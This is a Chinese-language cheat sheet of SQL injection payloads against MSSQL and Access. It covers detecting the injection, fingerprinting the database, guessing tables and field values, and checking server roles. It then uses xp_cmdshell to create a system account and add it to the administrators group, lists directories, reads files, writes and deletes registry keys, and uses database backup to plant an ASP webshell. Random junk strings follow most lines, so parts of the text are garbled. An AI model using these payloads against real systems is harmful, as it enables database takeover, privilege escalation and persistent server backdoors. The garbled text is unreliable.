1.判断是否有注入;and 1=1 ;and 1=2 rHqP[[4B'
2.初步判断是否是mssql ;and user>0 <dAxB$16sT
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3.注入参数是字符'and [查询条件] and ''=' VA`VDUG,
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' N8,g~?r^
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5.判断数据库系统 p@h<u!rL8
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;and (select count(*) from sysobjects)>0 mssql =$ T[
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;and (select count(*) from msysobjects)>0 access F&Rr&m
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 B,` `2\B
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 b8[
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 r=xec@R]*
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9.(1)猜字段的ascii值(access) -
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 r1z+yx
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(2)猜字段的ascii值(mssql) ezhfKt]j
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 PG@C5Rnu
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10.测试权限结构(mssql) P,7R/-u 5D
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- |`|zo+aW
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- +(`.pa z@
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #WE
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- mi@uX@ #
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- *ozXilO
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- -vh\XO
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;and 1=(select IS_MEMBER('db_owner'));-- m!(dk]
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11.添加mssql和系统的帐户 `'9t^6mk
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;exec master.dbo.sp_addlogin username;-- d_&~^*>
;exec master.dbo.sp_password null,username,password;-- $J]NWgXl@
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- <!*O[0s
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;exec master.dbo.xp_cmdshell 'net user username password roIc1Ax:
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- (m')dSZ
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- @-ir
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- bOr6"nn
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12.(1)遍历目录 Vp8!-[R
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;create table dirs(paths varchar(100), id int) `R-VJR 2"
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;insert dirs exec master.dbo.xp_dirtree 'c:\' r90R~'5x9
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;and (select top 1 paths from dirs)>0 Gd|jE
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 3B4C@ {
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(2)遍历目录 kP&Ekjt@
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- *[b~2
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 |+1k7S,
FCChB7c`
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 OuB[[L
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 T6=~vOzTJ
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 sv#/ 78 ~|
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13.mssql中的存储过程 _2xYDi
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xp_regenumvalues 注册表根键, 子键 #/WjKr n
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Rm@F9D[,
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xp_regread 根键,子键,键值名 uJJP<mDgA
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;exec xp_regread rmdG"s
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ?M04 cvm
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xp_regwrite 根键,子键, 值名, 值类型, 值 V V Aw y6
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 w%kaM=
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 w6'8L s
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xp_regdeletevalue 根键,子键,值名 cqb]LC
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 [Mlmn$it
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 }-paGM@'Nd
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14.mssql的backup创建webshell 7x`4P|Uu
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use model ^4>Icz^ F
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create table cmd(str image); Bh!J&SM:
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insert into cmd(str) values (''); ~Nl`Zmn(A|
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backup database model to disk='c:\l.asp'; IV$2`)[A&X
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15.mssql内置函数 JLV?n,nF
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;and (select @@version)>0 获得Windows的版本号 OTwXc*2u]
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa rDU"l{cg
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;and (select user_name())>0 爆当前系统的连接用户 " qrL:,
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;and (select db_name())>0 得到当前连接的数据库 .@]M'S^1
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16.简洁的webshell 0B~Q.tyP
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use model t8FgQ)tk
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create table cmd(str image); ;V3d"@R,
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insert into cmd(str) values (''); 9
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backup database model to disk='g:\wwwtest\l.asp';